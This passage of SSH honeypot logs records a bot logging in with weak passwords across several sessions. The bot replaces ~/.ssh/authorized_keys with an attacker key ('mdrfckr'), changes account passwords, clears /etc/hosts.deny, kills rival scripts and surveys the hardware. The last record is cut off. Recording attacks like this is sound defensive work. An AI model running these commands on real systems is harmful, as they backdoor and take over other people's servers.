{"id":"07fadb69-3a03-4cd7-b445-c508a052a31a","name":"forlorn-kindly-hyrax","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":48686,"username":"tomcat","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":279,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:51:34.450292+00:00","ended_at":"2026-08-27T11:51:36.487603+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T11:51:07.526363+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:51:07.804154+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:51:11.553667+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:51:12.720912+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:51:13.000396+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\ndZ6eiKaakGS0\\ndZ6eiKaakGS0\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:51:13.277365+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\ndZ6eiKaakGS0\\ndZ6eiKaakGS0\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:51:13.554240+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:51:14.368524+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:51:14.595268+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:51:14.645043+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:51:14.646658+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:51:16.284797+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:51:16.565647+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:51:18.000302+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:51:18.280769+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:51:19.096475+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:51:19.376034+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:51:21.187954+00:00","kind":"output","latency_ms":null,"data":" 11:51:21 up 7 days, 8:41, 0 user, load average: 0.21, 0.17, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:51:21.466211+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:51:23.583155+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:51:23.860773+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:51:24.764646+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:51:25.046950+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:51:26.637860+00:00","kind":"output","latency_ms":null,"data":"top - 11:51:26 up 7 days, 8:41, 0 user, load average: 0.21, 0.17, 0.13\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:51:26.915939+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:51:29.053090+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:51:29.331526+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:51:30.704703+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:51:30.984126+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:51:31.856905+00:00","kind":"output","latency_ms":null,"data":"tomcat"},{"seq":31,"at":"2026-08-27T11:51:32.134523+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:51:34.175509+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:51:34.451057+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:51:36.406678+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"tomcat","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"c00fe147-d1a5-4d95-bbaa-1ff41d6ca2c0","name":"courtly-inland-lapwing","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":48692,"username":"tomcat","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:51:10.538095+00:00","ended_at":"2026-08-27T11:51:11.469583+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"tomcat","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9fa61df4-ed21-47f4-89a2-178cf4fac213","name":"gentle-clever-pika","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":48690,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:51:08.392995+00:00","ended_at":"2026-08-27T11:51:10.001582+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"698fee8c-2b89-46d0-b4cc-02b7c9959eb1","name":"nautical-meadow-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":34680,"username":"stefan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":260,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:49:34.676771+00:00","ended_at":"2026-08-27T11:49:36.574511+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T11:49:06.159522+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:49:06.418917+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:49:10.197485+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:49:11.531171+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:49:11.790570+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\n5gYAdcgnYvLk\\n5gYAdcgnYvLk\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:49:12.048837+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\n5gYAdcgnYvLk\\n5gYAdcgnYvLk\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:49:12.309074+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:49:12.679285+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:49:13.646135+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:49:14.386924+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:49:14.647628+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:49:16.345722+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:49:16.608620+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:49:18.142731+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:49:18.405082+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:49:19.602081+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:49:19.862556+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:49:20.846059+00:00","kind":"output","latency_ms":null,"data":" 11:49:20 up 7 days, 8:39, 0 user, load average: 0.11, 0.12, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:49:21.109866+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:49:23.119710+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:49:23.380702+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:49:25.046309+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:49:25.304381+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:49:26.871299+00:00","kind":"output","latency_ms":null,"data":"top - 11:49:26 up 7 days, 8:39, 0 user, load average: 0.11, 0.12, 0.08\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:49:27.134805+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:49:29.242282+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:49:29.505405+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:49:30.776439+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:49:31.036506+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:49:31.971598+00:00","kind":"output","latency_ms":null,"data":"stefan"},{"seq":31,"at":"2026-08-27T11:49:32.230990+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:49:34.416727+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:49:34.677740+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:49:36.501181+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"stefan","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"0b6d5ef4-409b-48df-ba01-eaa6779bc571","name":"civil-patient-martin","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":41352,"username":"stefan","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:49:08.925390+00:00","ended_at":"2026-08-27T11:49:10.125427+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"stefan","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0fb1c471-0252-4841-8c50-005fb0e8a78c","name":"zealous-bitter-mongoose","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":41340,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:49:07.015109+00:00","ended_at":"2026-08-27T11:49:08.395382+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ae484628-f50a-4b60-b94c-163b3c388937","name":"glacial-regal-antelope","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55856,"username":"whatsapp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:47:29.864277+00:00","ended_at":"2026-08-27T11:47:31.822564+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2263,"events":[{"seq":1,"at":"2026-08-27T11:47:03.318588+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:47:03.579566+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:47:07.384938+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:47:08.201020+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:47:08.465115+00:00","kind":"input","latency_ms":null,"data":"echo -e \"whatsapp123\\npqrDH97b34Zq\\npqrDH97b34Zq\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:47:08.726446+00:00","kind":"input","latency_ms":null,"data":"echo \"whatsapp123\\npqrDH97b34Zq\\npqrDH97b34Zq\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:47:08.989404+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:47:10.267650+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:47:10.503755+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:47:10.735521+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:47:11.000299+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:47:12.010308+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:47:12.276781+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:47:13.189241+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:47:13.454545+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:47:14.989277+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:47:15.255510+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:47:16.178961+00:00","kind":"output","latency_ms":null,"data":" 11:47:16 up 7 days, 8:37, 0 user, load average: 0.35, 0.29, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:47:16.440986+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:47:18.548415+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:47:18.808917+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:47:19.787726+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:47:20.050371+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:47:21.255042+00:00","kind":"output","latency_ms":null,"data":"top - 11:47:21 up 7 days, 8:37, 0 user, load average: 0.35, 0.29, 0.3\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:47:21.523442+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:47:23.389078+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:47:23.653113+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:47:25.590279+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:47:25.853118+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:47:28.046106+00:00","kind":"output","latency_ms":null,"data":"whatsapp"},{"seq":31,"at":"2026-08-27T11:47:28.309362+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:47:29.601422+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:47:29.865209+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:47:31.746880+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"whatsapp","password":"whatsapp123","method":"password","accepted":true,"tier":"other"}]} {"id":"62affa1c-68cb-4350-9b0d-6d8deda6a8a7","name":"feathered-zealous-salmon","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":55862,"username":"whatsapp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:47:05.483190+00:00","ended_at":"2026-08-27T11:47:07.307918+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"whatsapp","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4bbb9650-5cee-4ddc-bb5b-2a8ef7ce827d","name":"ginger-ruddy-dipper","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":55858,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:47:04.168306+00:00","ended_at":"2026-08-27T11:47:04.960668+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cc4aff71-36c6-4253-bb14-82644f66ca46","name":"snowy-airy-heron","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":39684,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:45:36.791237+00:00","ended_at":"2026-08-27T11:45:38.839540+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:45:09.241198+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:45:09.504077+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:45:13.620474+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:45:15.382239+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:45:15.650659+00:00","kind":"input","latency_ms":null,"data":"echo \"root:3ANJ0sqLGMJZ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:45:15.927333+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:45:16.183687+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:45:17.442570+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:45:18.175367+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:45:18.440786+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:45:20.222302+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:45:20.489819+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:45:21.952159+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:45:22.220751+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:45:23.520799+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:45:23.786932+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:45:25.400451+00:00","kind":"output","latency_ms":null,"data":" 11:45:25 up 7 days, 8:35, 0 user, load average: 0.18, 0.13, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:45:25.665220+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:45:26.749221+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:45:27.014100+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:45:27.854247+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:45:28.120147+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:45:29.500718+00:00","kind":"output","latency_ms":null,"data":"top - 11:45:29 up 7 days, 8:35, 0 user, load average: 0.18, 0.13, 0.16\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 